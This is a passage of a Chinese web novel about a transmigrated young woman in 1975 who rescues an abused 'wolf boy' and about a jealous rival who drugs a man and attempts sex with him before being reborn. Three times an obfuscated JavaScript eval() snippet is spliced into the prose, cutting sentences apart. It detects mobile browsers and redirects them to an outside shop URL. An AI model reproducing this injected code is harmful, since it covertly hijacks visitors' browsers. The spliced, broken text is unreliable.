李钊点头道:“你这同志,有心了,不过我不能白拿。为表对你作品的肯定,一点表示请笑纳。” 他将几张钱票塞到徐知画的手里。 徐知画连连摆手,露出一副为难的表情,说:“这次来找书记,除了送画,还有一事相求。” “哦?且说来听听。”李钊收起钱票,收起笑容。 徐知画将遇到刘白和黄二拐走他的事,从头到尾说了一遍。 但李钊听完后,不紧不慢地在办公椅坐下,说:“据我所知,目前这狼孩已经在高旷大队落户,你和他也不是亲人,我听说是因为你家苛待他,他才会离开,现在有好人家愿意收养他,你该为他高兴才是。” “不是的,你可以去我们大队调查清楚,我没有苛待他,教他学数识字、纠正言行,可能是严厉了点,但也是为了他好。黄二才是居心叵测,想要压榨他……” 李钊抬手打断了她的话:“行了行了,我已经调查清楚,黄二管他吃喝拉撒、衣食住行,狼孩付出点劳动是再正常不过的事,那不叫压榨,那是实现自我价值。” “李书记,黄二是驯兽师,他现在不把人当人看,这是很大的问题……”徐知画还想再说什么,但对方却不想听。 李钊往外走,满脸不耐烦:“你这是危言耸听,希望你不要再传播不利于团结的话。什么叫不把人当人看,没饿着他,没冷着他,那就是极好的。你去看看外面有多少人吃不饱穿不暖的,有多少人想被黄二收养都没这个机会。” “你但凡去那驯兽园看过,都不会说出这样的话。”徐家荣生气道,碍于他的权势到底没敢硬刚。 “有时间我会去巡视。”李钊下逐客令,“我待会还要个会议要准备,恕不招待。” 徐家荣还想追上理论一番,被徐知画拉住:“算了,先回去吧。” “那我们这趟岂不是白来了。”徐家荣忿忿道。 “再纠缠也不会有结果,他收了黄二的好处,觉得我们无权无势,不足为惧,不会主持公道的。”徐知画说,“回去吧。” “啊?那就这样了?”徐家荣挠挠头,对自己的无能为力感到憋屈。 “先这样。” * 徐知画回去之后,花了一天的时间,画了关于刘白一系列的画,最后再画幅人像。 等到天再一次亮起,吃过早饭后,收拾好画像,徐家荣和徐知画沿着走过的路,再次出发。 来到离县委大院不远的街道上,看着人来人往,两人将一张张画在一棵大榕树下一一摆开,这阵仗引得人们纷纷驻足观看。 徐家荣看越来越多人集聚、议论,忐忑不安地问:“这样真的行吗?” “没事。”徐知画给他一记放心的眼神。 见密密麻麻的人群围成了一个大圈子,戏台已搭好,徐知画清了清嗓子,大声说起刘白的故事—— 从他出生被抛弃到如何被狼群收养,再如何在恶劣的自然环境中生存,又如何被人类发现,接着怎样模仿人类刻苦学习,就在以为苦尽甘来时,却失踪被拐,最后在坏人的压迫下,不得不为其卖命,身不由己,被折磨得不成人形。 在徐知画声情并茂抑扬顿挫的讲述中,还有如大型漫画书般的图文供阅读,哪怕不识字也能看懂。 而徐家荣在旁则扮演有着悲惨身世的刘白,活灵活现地演绎着,看得人的心绪随之起伏。 感性的人们有的想到了自己食不果腹的日常,有的想到了被地主压迫的曾经,还有的想到了无父无母野草般长大的无助…… 一个两个拭泪连连。 徐知画见气氛到了,振臂挥拳高呼:“请大家助我!解救刘白!” “解救刘白!” “解救刘白!” 众人齐呼,群情激昂,一波又一波声浪如排山倒海般,震响天际。 突然,一阵尖锐的哨子声传来,不一会儿,几个穿着藏蓝色制服的警察走过来,驱散人群。 “这是在干什么?无关人员都散去!” 这会儿人们情绪正达高潮,见到警察,更是激动,呼喊声更大了。 “解救刘白!” “解救刘白!” “解救刘白!” 震耳欲聋。 寡不敌众,警察们打算先将带头闹事的人先控制起来。 徐知画倏地从包里掏出一副伟人画像,人群犹如一滴水滴入沸腾的油锅,高喊起伟人的名字,更有人激动得潸然泪下。 接二连三的人站直敬礼。 看到这一幕,警察也不敢轻举妄动了。 徐知画也惊呆了,这场景是她没有预料到的。 之所以准备伟人的画像,是因为小时候外公外婆总是在耳边念叨着主席的事迹和伟大,还经常唱:“他为人民谋幸福,呼儿嗨哟,他是人民大救星……”② 听得多了,徐知画对他的敬佩之情也油然而生。 在这时代,他也是自己最熟悉的人之一,这次遇到了困难,徐知画不可避免地想到了他。 只是真的看到他在人们心中地位的具象化,有被深深震撼到。 那磕在骨子里的敬仰难以言喻,是如此让人感动。 徐知画再次振臂高呼:“哪里有压迫,哪里就有反抗!”③ 人群高呼:“哪里有压迫,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738842|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里就有反抗!” “……” 徐知画示意大家安静下来后,再次喊道:“我希望县委书记能主持公道,解救刘白!” 徐家荣很有眼色动作敏捷地将全部画收集起来,和徐知画一起往县委大院的方向走去。 他们走动,人群也像一条条游鱼般跟着游动。 徐家荣看着这浩浩荡荡的人群,再看她这瘦弱的背影,竟以一己之力号召起这么多人,这是他始料未及的。 心跳如战鼓般在胸膛敲击着,徐家荣既紧张兴奋又自豪骄傲,腰挺直了些,要做她坚实的后盾。 眼见局势越来越不可控制,警察们不可避免慌了,有个赶紧快跑去县委大院通风报信。 收到风的李钊等几位领导站在县委大院的门口,就看到黑压压一群人气势如虹地走过来,感觉踏得地面都抖了几抖。 【完了完了完了!!!】 李钊心里有鬼,冷汗直冒,脚发软,哪里想到有今天这一遭。 距离一点点缩近。 徐知画再次站在李钊面前,像之前那样直视着他的眼睛,问道:“李书记,请问你现在有时间听听我所遇的困难和诉求吗?” 李钊擦着额头上的话,连连点头:“当然,你有何困难,尽管说。” 徐知画这会儿没打算和李钊撕破脸,只当是第一次来请他主持公道,缓缓诉说着案情。 李钊也很醒目,当第一次听到那般作出惊讶的表情,当场拍案:“我和你现在就去驯兽园,看情况是否属实。” “我也去。”人群中走出一个穿着时髦的男子,说,“我是悟曦日报的访员,有我跟着,一定将一手消息向大家汇报。” 程阳竟然也在。 想到他和黄二相识,有点担忧他会歪曲事实呢。 好在最后又有几位热心的义士也说要去。 在大家热诚的目光中,徐知画拱手感谢致敬。 随后李钊也安排几个人跟着,一行人往驯兽园的方向去。 中途停下找了个地方吃饭,去到目的地已是傍晚。 而此时驯兽园里,黄二早半个小时收到消息,急得团团转,刚刚才鞭打了狼孩一顿,根本来不及治,而且带领过好多次出去表演,也不能狡辩说不认识。 这驯兽园暗地还有不能见光的,但愿幸运眷顾他,能躲过这一劫。 黄二暗暗祈祷。 随着门被拍得“啪啪”响,黄二深吸口气,硬着头皮拔开门闩。 “欢迎欢迎,欢迎大家来参观驯兽园。”黄二搓着手讨好地笑道。 “今天我们是来带刘白走的。”徐知画开门见山,环顾着四周。 黄二还想用之前落户那套话术搪塞,却见一人义愤填膺地挥着拳似要砸过来,怒吼着:“你这个压迫人民的坏分子,该拉去批斗!” 黄二大喊冤枉,一副受了委屈的可怜样:“我不是坏分子!” “刘白呢?让刘白出来!”那人再次催促,“你别罗里吧嗦,说那么多没用的。” 他简直是自己的嘴替,徐知画默默给他点了个赞。 黄二看了一眼李钊,见实在拖延不下去,回到一顶帐篷里将刘白带了出来。 刘白面容苍白,穿着长裤长衫,低着头一瘸一拐地走过来。 只一眼,徐知画眼泪夺眶而出。 “刘白!”她冲到他面前,想要更好好看看。 她的声音、她的面容就这么猝不及防出现,刘白不可置信地瞪大了眼睛,有那么一刻,觉得是自己出现幻觉幻听了。 像无数个想念她的瞬间,是假的。 可握住她的手这一刻,他真真切切感受到了皮肤的温热,并且,她哭得真丑,鼻涕泡都出来了,真得不能再真。 “他的脚是自己不小心摔的。”黄二说。 “呵——”徐知画最讨厌这种证据摆在面前还死鸭子嘴硬,见有鲜血从刘白的衣服里渗透出来,她一把掀起下摆,胸前后背那一道道纵横交错血肉模糊的鞭伤触目惊心。 “这也是不小心摔的吗?”徐知画转头怒瞪着黄二。 在事实面前,再如何狡辩,都不能掩盖他施虐的罪行。 有义士见此怒发冲冠,扑过去猛砸着拳头:“你还是人吗!你简直不是个人!” 李钊赶紧喊停:“快把他们拉开,他若做错了事,法律会制裁他。” 黄二最后是被绑着手走的,而刘白被送往卫生院治疗。 关于这个驯兽园的其他罪恶,还有待揭开。 徐知画此时的心思:只想让刘白快点好起来,不要再耽误学习进度。 但刘白看着她关切的神情,心里一阵感动,想着外面的世界太危险,以后再也不逃跑了。 29. [锁] [此章节已锁] 幸运之神并没有眷顾黄二,除了发现刘白和其他表演的动物遭受虐待,还查到驯兽园是一个投机倒把秘密交易基地。 之前所谓来参观驯兽园的人,则是物色好来买卖的客人。 涉及数额巨大,黄二必吃花生米无疑。 拔萝卜带出泥,县委书记李钊作为幕后指使人,利用职务上的便利,贪污受贿、侵占公私财物,是驯兽园物资补给的重要来源,眼见火快要烧到自己身上,他果断地断尾求生—— 找了一个下属当替罪羊,并且伪造出黄二和下属在监狱畏罪自杀的情形,查到的线索不会再牵连到他,顶多被治监管不力之罪,问题不大。 李钊是真没想到,他的政治生涯差点因一个女娃而毁掉,不过是开了一个小口,那些想拉他下台的人就像是闻着肉香的狗,紧咬而上,不过还好他守住了。 来日方长,他还有大把时间慢慢玩,只是近期总归是不宜再有什么动作。 也是事后,徐知画才知道程阳是个“正义使者”,是为了收集证据才接近黄二,也多亏了他,黄二才能那么快被制裁。 至于官场上那些弯弯绕绕,虽然徐知画直觉李钊不是个好人,但她现在一无证据二无权势,也只能这样了。 解救刘白,这件事也算落下帷幕。 2014年的徐知画为了讨妈妈欢心坚持学画,但1975年的徐知画有了新的目标,她想从政! 不想在身边的人遭受无妄之灾时而求助无门,或被颠倒黑白而无能为力,她想人间清朗,为民请命。 * 刘白在卫生院住了一周,便回家休养了。 好在治疗及时,刘白的腿伤养养还是能养好的。 在大队长的帮助下,刘白的名字终于被登记在自家的户口本里,不会再让别人拐走他钻空子。 看着因为一点风吹草动就吓得瑟瑟发抖的刘白,徐知画心里很不好受,难得在传授知识时,对他多了几分耐心。 经此一事,刘白变得更会察言观色、性情更加沉稳内敛,之前训导时,还会给人一种面服心不服的倔强之感,有自己的脾气。 但现在他就像是一个听话的傀儡,让做什么就做什么,乖巧得让人心疼。 这不是徐知画认识的刘白,也不是所想要看到的。 针对此情况,徐知画不是教育专家,有点束手无策,想骂又不好骂太大声,想打也不好打太重,不然他感到害怕,做乌龟样缩回壳里,封闭自己,这倒是叫她先憋出一肚子气。 想着孩子天真活泼,或许带着他玩能改善一点,不要那么死气沉沉,徐知画放心地让一个学生在空闲时带刘白一起玩。 但并不是每个孩子都纯善,试探过刘白骂不还口,打不还手,大队里以狗菜为首的一群调皮捣蛋的孩子,嘲笑他是没爸妈的野种、拿石头泥巴扔他、用棍子打他、用尿浇他…… 小小年纪,欺负人的手段层出不穷。 开始徐知画没留意到这情况,还以为他多和小孩子们在一起玩能激发童趣,会很开心,想让他学着去主动交朋友,多和人交流,改善沉闷的性子。 没想到那群接近刘白的孩子居心叵测,在有人的地方时就装作感情很好玩得很融洽,而当拉他到没人的地方时,则开始实施暴行。 徐知画自当上老师,加上上次所创作关于刘白成长经历的画作被程阳看中,愿意帮忙联系出版社,各细节要沟通,这段时间并没有太多的时间去关注刘白。 刘白也是,被欺负了回来一声不吭不会告状,那时多次看到他身上的脏污,徐知画还以为是去田间地头玩得太野太happy释放天性了,还鼓励他多出去玩乐。 哪成想那群孩子表面一套,背后一套。 还是狗岁回来说他们是在欺负刘白,不是在玩,徐知画跟踪后才发现事实的确如此。 懊恼是自己将他置于一个欺辱之地,更厌烦看到他这副唯唯诺诺、哪怕有反抗之力也不敢反抗的窝囊样。 徐知画当天带着刘白去找大队长告状后,又挨家挨户找参与欺负刘白的孩子向其父母告状,最后在课堂上更是三申五令不许再出现霸凌的行为。 刚柔并济,给他一一分析,遇事如何应对。 操心得跟个老妈子一样。 徐知画很心累。 又用糖衣炮弹轰炸狗岁,让刘白加入他的玩乐队伍。 狗岁抵抗不了诱惑,哪怕觉得刘白很无聊很无趣,还是应允了。 只不过大多数时候,刘白就像是灰暗的影子,安安静静地在一旁看着他们玩闹,大家邀请他一起来玩,却见他睁着大眼睛,摇着头,拒绝的意味很明显。 久而久之,大家也不问他了,只是出门时狗岁会带他一起,到点玩累了再带他回家。 这天,还是像以往那样,刘白默默地坐在河岸边,其他孩子则在比赛打水漂,玩乏味了,叽叽喳喳讨论着要去哪里玩,要玩什么。 “我们玩警察抓小偷的游戏吧。” “好呀好呀。” “剪刀!石头!布!” “……” 孩子们跑远了。 刘白神情恹恹地叹了口气,觉得好没意思,干脆整个人躺下去,脑袋枕着双手,看云聚云散,幻想着自己变得很小很轻,飘去云朵里,随云飘荡。 “喂,刘白,过来,帮我洗衣服。” 徐宝珍走过来,看到躺在地上的刘白,不客气地喊道。 自下到乡之后,徐宝珍虽然能看到心上人,但这苦日子是百般不适应,为了过得好点,曾厚着脸皮想和徐知画握手言和以寻求庇护,哪成想她是一点姐妹情分都不顾及,当场被骂了个狗血淋头。 徐宝珍记恨在心,加之频频看到徐知画和陈豫周打情骂俏,还挑衅地在她面前耀武扬威,气得肺都要炸了。 后来看徐知画对刘白很是上心,徐宝珍打听了不少关于他们的故事,想着既然奈何不了她,但刘白一看就是傻乎乎的,还不能从他身上讨回点利息么。 在见到连小孩都能欺负刘白后,徐宝珍便试探着让刘白帮忙锄地干活等,他是逆来顺受,照做不误。 徐宝珍自觉得了一个免费的劳动力,使唤他就像使唤了徐知画,多次吃到甜头后,更加肆无忌惮地指使他去做工。 所以这次见四周没人注意,赶紧叫刘白过来洗衣服,想到这一大盆衣服有着落了,不用碰这冷冰冰的水,她就开心。 【耶,又逃过一劫!】 徐宝珍在心里欢呼。 刘白起身,一步步走过去,拿过木盆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743364|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐宝珍微笑的弧度一点点往上扬,暗叹他真是条听话的狗,下一秒,却见刘白连盆带衣用力一甩,笑容凝滞。 “啊!!!你在干什么?!”徐宝珍猛地冲过去,想扇他一巴掌,然而挥到半空的手被抓住。 “啪!”一声,是刘白狠狠将她扇到了地上。 徐宝珍被扇懵了,捂着刺痛的脸,不可思议地看着刘白,不明白他怎么会突然暴起,之前他可不是这样的。 “我要跟你拼了!”徐宝珍尖叫着扑上去。 突然,一个天旋地转,变了个视角。 刘白轻轻松松举铁般将她举起来,徐宝珍吓得哇哇叫,第一次被抛飞起来,再重重地摔到地上,面容因剧烈的疼痛而扭曲变形。 徐宝珍还想嘴硬放狠话,可对上刘白泛着寒光的眼眸,她不可控制地抖了抖,这一刻,直觉再惹其生气,他真的会像狼一样将她撕咬至死。 刘白突然笑起来,浑身变得轻松,他做到了,像徐知画说的那样—— “不惹事,也不怕事!谁欺负我,我就欺负谁!” 刘白喃喃着,迫不及待想得到徐知画的肯定和赞扬。 他没有再看一眼战战兢兢的徐宝珍,往家里走去,心情愉悦,脚步欢快。 快一点,再快一点。 * “你怎么回来了?不是跟狗岁出去玩了吗?”徐知画将视线从画稿中移开,落在刘白的身上。 干干净净,没发现有什么异常。 再一看,还是有异常的—— 往日他身上那股要死不活的萎靡之气一扫而光,像重新注入了能量,灼灼目光,熠熠生辉。 “欺负我的人,我欺负回去了。”刘白盯着她说道,不放过任何一丝表情。 警告过还再犯的事,没必要再给好脸。 徐知画脑海中已经开始思索各种报复手段了,问道:“谁怎么欺负你了,你又怎么欺负回去?” “坏人叫我洗衣服,我不洗,扔了,扇巴掌欺负回去。”刘白说。 “对!你做得对!就应该这样!”徐知画鼓掌,及时肯定,坚定道,“你表现得越怕,别人越会欺负你。我们就是要以眼还眼,以牙还牙。” 刘白眼底绽开点点笑意,很喜欢看她为自己撑腰的样子。 “谁让你洗衣服?”徐知画再问。 刘白摇摇头,并没有留意过徐宝珍的名字。 “下次看到,你指给我看。”徐知画说。 刘白点点头。 “呐,奖励你。”徐知画从口袋掏出一颗大白兔奶糖给他。 刘白美滋滋地吃着糖,不愿再出去看狗岁他们玩,余光一扫,注意力被画纸上惟妙惟肖的人物所吸引,惊奇地瞪大了眼睛,刚想上手摸一摸。 手背被拍了一下。 “不可以摸,你可以看。”徐知画说,“你如果不想跟狗岁出去玩,那就练习写字吧。” 刘白现在想和她呆在一起,乖乖去拿笔和纸。 一个写字,一个画画,阳光透过窗棂洒下斑驳的光影,惬意而美好。 刘白后知后觉,以往读书写字是三分钟热度,如坐针毡,这次他竟能静下心来,全神贯注,像海绵汲水一样汲取知识。 他好喜欢这样的感觉。 30. 病秧子X狼少年 对于刘白的报复,因为理亏在先,而且在蔡淑芬手上吃过很多亏,徐宝珍不敢上门理论。 来到光荣大队,不管看多少次,看到别人对徐知画好,徐宝珍就是看不惯,特别是那家人,真将徐知画当千金小姐般呵护,两人的境遇颠了个倒。 陈豫周更是在每月初收到家人寄来的包裹时,都会将一部分好吃的送给徐知画。 嫉妒让她心理扭曲,妒火烧得她整夜睡不好,一个恶毒的想法在脑海中成型—— 既然徐知画那么在意刘白,最好两个人捆绑在一起一辈子,当累赘拖累她,永无出头之地。 于是徐宝珍故意在看到娟婆(老不死)进玉米地拉屎时,躲藏在暗处,一人分饰两角,装出和别人对话八卦—— “欸,我有个秘密,告诉你,不要跟别人说。”先是一道低沉的声音响起。 老不死登时屏住呼吸,夹紧屁股,竖起耳朵。 “快说快说,我保证不告诉别人。”另一道尖细的嗓音催促道。 “我偶然一次看到淑芬那闺女拉狼孩去小树林亲嘴呢,啧啧啧,真是世风日下,怪不得那家人对狼孩那么好呢,又是给取名,又是让他上学,感情是当女婿来培养的。” “我看这事十有八九,亏蔡淑芬还打着做好事的旗号要表彰,大家还夸他们一家愿意收养陌生人,有情有义。呸!真会往自己的脸上贴金,不要脸!” “就是就是,要不是惹不起,我还真想去揭穿他们的真面目。” “我也怕淑芬那婆娘,你可别跟人说是我说出去的。” “知道知道,不说了,一起上山捡柴去不?” “走走走。” 声音戛然而止。 老不死听了个痛快,深吸口气,气沉丹田,“扑哧——扑哧哧——”一阵接着一阵的金黄色喷溅而出,等动静终于停止,肚空了,人也舒服多了,她随手薅下头顶上的玉米叶,擦干净屁股,提裤走了。 她迫不及待想将刚刚听到的信息跟人八卦八卦一下。 刚走没几步,老不死想起徐知画差点在自己家门口吊死的场景,要是让人知道是她传的,万一又来这一出,怕那家人要她偿命啊。 老不死按捺下冲动,思来想去,找人写了一封举报两人乱搞男女关系的信给大队长。 又以有这爱心养一个陌生人,没理由要饿死自己的亲爸为借口,向徐天瑞要求更多的粮食。 于此,蔡淑芬和老不死再次干起一场“恶战”,好在刘白的口粮大队长有支援一点,而且现在他也有上工,不算白养。 就在打成平手时,瘫痪的死不去公公被抬到门前哭嚎着“好饿!”,最终是蔡淑芬败下阵来,不情不愿地多给了些粮食出去。 只是一看死不去瘦骨嶙峋的,就是不知道有多少粮食能进他的肚子。 平日要不是她的儿子们端饭去喂,恐怕这条命也吊不到现在。 就当做善事积福了。 而当听到徐知画和刘白之间的风言风语,甚至连大队长都来过问是否有这一回事时,蔡淑芬懵了,第一时间就是拿起菜刀去找老不死算账,直觉就是她搞的鬼。 老不死当然不会承认,且这次可没被抓到把柄,也不能耐她如何。 在这个时代,女人的名声何其重要,唾沫是能淹死人的! 和家人们的忧心忡忡不同,徐知画没有将此事放在心上,甚至觉得可笑,之前在现代,她被人造谣有更过分的,相对来说,这充其量就算一滴脏水,不值得浪费时间去自证。 找不到是谁写的举报信,也不知道是谁传的开头,这件事最后不了了之,不过想到以后女儿不好说亲,蔡淑芬对刘白更是厌恶了。 【要是没遇到他,就没那么多事了,尽惹麻烦!】 蔡淑芬忿忿地想。 老不死有个谋算,龟妹当老师是个有价值的,到时嫁不出去,说给娘家侄子也好。 见徐知画的名声败坏了,以陈豫周的家庭,一定不会让儿子娶这样一个女人。 策划这一切、藏在幕后的徐宝珍笑了。 俗话说“女追男隔层纱”。 陈彩霞就是通过死缠烂打追上了丈夫,有这个成功的例子在前,徐宝珍坚信总有一天,陈豫周会被她的真情所感动,愿意与她共结连理。 抱着这样的信念,徐宝珍一有空就去陈豫周面前晃悠,嘘寒问暖,顺便给那些觊觎他的女生暗中警告。 徐宝珍认为其中张二乔最是可恶,总是趁人不注意,就钻空子找陈豫周捏着嗓子说这说那,矫揉造作,恶心! 虽然陈豫周很享受被人追捧喜欢,但是同时他也感到很苦恼,两女相斗,为什么受伤的总是他?! 就好比刚刚,徐宝珍和张二乔跑着过来说要帮他一起完成种番薯的任务,陈豫周乐得能偷闲,可两女争着抢着同一把锄头,一不小心,他被木锄柄敲到鼻子上,痛得差点原地去世,鼻血直流。 见此,两女又抢着要帮他捏鼻子止血,那架势不像是要救人,倒像要把他捂死。 陈豫周怕了,连滚带爬离她们远点。 上次也是,三人分到一组整地起垄,两女干一下吵一下,后来大队长检查说不过关,还要返工,陈豫周是身心疲惫,披星戴月重新开工,累成狗。 还有上上次,陈豫周有件的确良衬衫不知道被什么刮破了一个小口,两女看到了,都说要帮忙缝补,然后就眼睁睁看着衬衫被撕成了两半。 陈豫周:…… 人在气极的时候真的想笑。 一而再,再而三,三又再三,陈豫周总算是看透了,自己与这两个女人磁场不合,靠近则多灾多难,远离为上计。 不交流怎么加深感情,这可不行。 眼见陈豫周的态度越来越冷淡疏离,彷佛竖起了一道无形的墙,将她隔绝在外,转头却和徐知画有说有笑,徐宝珍急了。 头脑一热,一不做二不休,徐宝珍偷偷去买了能使男人雄起的药,先是装出一副真诚样,为给他添诸多麻烦道歉,哄骗陈豫周喝完被下了药的水。 接着说抓到了一只野兔,藏在一间废弃的屋子里,想邀请他一起去烹煮加餐。 听见有吃的,陈豫周心动了,再看徐宝珍一脸诚挚,难得顺眼了许多。 “走吧,带路。”陈豫周没有多想。 这夜静悄悄的,月色如水,皎洁的月光铺了满地,两人一前一后走在弯弯曲曲的小路上,有阴暗的心思在滋生。 走着走着,陈豫周感觉身体不太对劲,燥热难耐,仿佛有一团火要燃起 () { $(''.inform'').remove(); $(''#content'').append('' 来,整个人充满了干劲,那涌起的情潮久久不能平复。 “兔子就藏在这里。” 徐宝珍等陈豫周进门后,猛地将他推到对面的炕上,整个人扑上去。 “你这是干什么?”陈豫周被她压着,脑袋晕眩,呼吸急促,酥酥麻麻的感觉涌便全身。 “我要得到你。”在晕黄的煤油灯中,徐宝珍手忙脚乱解着他的扣子,抽空看了他一眼,笑道。 那偏执的眼神让人心慌,陈豫周想推开她,反被绑住了双手到床头。 徐宝珍见他挣脱不掉,这会儿化作笼中鸟,再也飞不出去,也不是很着急了,躺在侧边,一手支起脑袋,一手抚摸着他的五官,语调温柔地说:“豫周哥哥,我不想这么对待你的,谁叫你躲着我,不愿意和我亲近呢。” “你是不是喜欢徐知画?她那种人,之前不过是寄住在我家的一条狗,有什么值得你喜欢的?!”徐宝珍神情倏地变得凶恶,“我才是最喜欢你的那一个!你应该喜欢的人是我!既然正常手段得不到你,生米煮成熟饭,你总不能不认!” 说完,她又动起手来,陈豫周的上衣被脱掉了。 “住手!你这样我只会更加厌恶,就算得到我的人,你也不会得到我的心!你这是耍流氓,要拉出去枪毙!赶紧住手!”陈豫周咆哮完,狠狠咬了一口舌头保持理智。 “不会的,相处多了,你一定会看到我的好,会喜欢上我。“徐宝珍很自信,对未来充满了美好幻想,“都说日久生情,我们在一起一定会幸福的。” 她顿了顿,继而说道:“这里只有我们两个人,说出去,谁会相信你是清白无辜的呢,省着点力气待会使吧。” “你,你,你这个女的,不害臊!”陈豫周被气得语无伦次,眼见裤子就要被扒下,竭尽全力一踢,徐宝珍被踹到了地上。 “嘭!”一下,她的脑袋砸在旁边的木桌上,随后躺在地上一动不动。 陈豫周松了口气,缓了缓,积攒了点力气,才试着解开麻绳。 徐宝珍没一会儿就醒了,头痛欲裂,生出不知今夕何夕恍惚感。 她这是,在哪儿? 迷离的双眼扫过四周的环境,是一间破旧的小屋,炕上躺着一个男人,哼哧哼哧蠕动着身体,这一幕似曾相似。 徐宝珍定定睛,瞳孔骤缩,转瞬之间,理清了事情的头尾—— 她这是,重生了? 回到了对陈豫周霸王硬上弓要求名分的那一晚。 “幸好!幸好!一切还来得及。” 徐宝珍喜极而泣,快如闪电扑过去解开束缚他手腕的麻绳。 “陈豫周,以后我们桥归桥、路归路,我不会再缠着你。今天这事是我冲动、一时糊涂了,你大人有大量,就当无事发生过,反正我们还没有做。” 徐宝珍满脸欢喜,半是庆幸半是坦然。 陈豫周双手得到自由,立刻穿好衣服,虽不知她前后态度反差为何如此之大,但此地不宜久留,她知错能改,回头是岸,极好。 “你最好说到做到。”陈豫周下了炕,临出门回头警告道,“再有下次,我不会放过你。” “不会再有下次。”徐宝珍看着他离去的背影,目光坚定,“这辈子,同一个坑,我不会再跳一次。” 31. 病秧子X狼少年 上辈子这一天,徐宝珍和陈豫周成事后,一发即中,不久便发现有了身孕,写信给陈彩霞去陈家要求名分。 得知此消息,陈豫周的继母心里乐开了花,多多少少知道徐宝珍是什么德行,心比天高,爱慕虚荣,嫁给谁只会是祸害谁。 徐宝珍不会是一个贤内助,陈豫周若是娶了这样的女人,相信他就是天上的龙,也会被拽下来。 秉着毁了女孩清白要负责的态度,她吹枕边风,和陈豫周的父亲亲自到光荣大队,为他们租了一间房子从知青点搬出来住,还办了一场朴素的婚礼。 事情闹大了,陈豫周若不想因流氓罪被枪毙,只能走结婚这一条路。 和徐宝珍想象的婚后生活不同,陈豫周并没有将她当一个妻子看待,反而将她当是憎恶至极的仇人,一天到晚没有一个好脸色。 刚开始徐宝珍总想着石头会被捂热,事事以他为先,哪怕自己吃不饱也想着省下口粮给他吃,哪怕下工回来累得要死也操持家务…… 嫁给喜欢的人,徐宝珍是真的想和他过完这一辈子。 只是婚后没有风花雪月,只有柴米油盐。 先前看陈豫周在人前出口成章侃侃而谈,和那时仰慕的心情不同,徐宝珍只觉他结婚了,就不应该再去勾其他女人的注意。 但陈豫周看到她生气,更加肆无忌惮地和别的女人靠近,宁愿帮她们挑水、砍柴,都不愿为自己的妻子倒一杯水。 陈豫周好面子、爱充大头,家里掀不开锅了,他还拿粮食去救济别人,换那两句感谢的话。 徐宝珍怒气冲天、暴跳如雷。 陈豫周冷眼旁观、冷嘲热讽。 因着因那,天天吵来吵去,日子过得鸡飞狗跳。 后来徐宝珍发现,陈豫周是个草包,那些拍案叫绝的文章和给别人出谋划策解决问题的背后之人,是徐知画。 真讽刺,她喜欢的男人,竟是徐知画在填充装饰内里。 陈豫周是扶不上墙的那块烂泥! 被坑惨了,徐宝珍怨恨啊,早知陈豫周的真面目,她怎么会嫁给这样的窝囊废! 孩子都生了,再后悔也无济于事,这年代离婚的寥寥无几,也只能一条道走到黑。 自家男人靠不住,徐宝珍不想守活寡,只好找别人排解寂寞,用□□去维持光鲜亮丽的生活。 陈豫周虽然没用,但是他的家族还算有用,在儿子两岁时,他们被安排回了城。 只是没想到,徐宝珍又进了狼窝—— 陈豫周的继母是个会演戏的,给她使了很多绊子,夫妻不和,婆媳不睦,徐宝珍每天跟这斗完跟那个斗。 在一次又起争执时,她和陈豫周被公公赶出家门,自立门户。 因为徐宝珍不再捧陈豫周的臭脚,两夫妻之间一点小小的矛盾也能引发火星撞地球的效果,从吵架上升到了动手。 孩子夹在中间,是出气筒、受气包,不管是爸爸还是妈妈都不喜欢他,他是两夫妻不幸婚姻中的耻辱证明。 有一次他们又打起来,孩子自己出门找吃的,没想到被拐子拐跑了,被发现时,被打断了手脚、割了舌头在街头乞讨,救回来没几天,便死掉了。 他们互相责怪,都认为是对方的责任,徐宝珍一气之下,拿起刀将陈豫周砍死了。 杀了人,徐宝珍本想和情人逃去别的地方,可没想到情人反手将她卖了。 徐宝珍被捕,游街示众后,被处以绞刑。 至此,徐宝珍和陈豫周的恩怨情仇,落下了帷幕。 如今上天眷顾,给她一次重来的机会,徐宝珍相信这辈子自己一定会活得舒心畅意,有仇报仇,有怨报怨,先下手为快。 “陈豫周,徐知画,这辈子,你们别想好过!”徐宝珍阴恻恻地笑了,攥紧双拳,像要把他们捏死一般。 对此,陈豫周和徐知画是一无所知。 不过因为与自家闺女的关系,蔡淑芬很是关注徐宝珍,对她下乡追在陈豫周身后跑的行为很是看不上。 最近徐宝珍变了一个人似的,对陈豫周的态度由捧夸讨好变成鄙夷不屑,之前别人开她和陈豫周的玩笑,她都会很高兴,现在提起就满脸厌恶。 她这个变化大家都有目共睹。 像张二乔等对陈豫周芳心暗许的女生见此,自是喜闻乐见。 而其他看热闹的人也只是在田间地头八卦几句,没有放在心上。 但蔡淑芬放在心上了,因为她见过一次,徐宝珍看龟妹的眼神,像在酝酿着什么阴谋,瘆人得很。 徐知画没有特别关注徐宝珍,但在蔡淑芬时不时的饭后谈资中,因为她的名字出现频率过高,对她的动态也不是一无所知。 像上次知道是她指使刘白干活后,徐知画带上两个哥哥,强硬要求她付劳动报酬。 在拳头的威迫下,徐宝珍不得不给,在心里又记恨上了一笔。 蔡淑芬想到徐宝珍一家收养了自己女儿,却百般磋磨的事,明里暗里联合大队的人对她也没有好脸色。 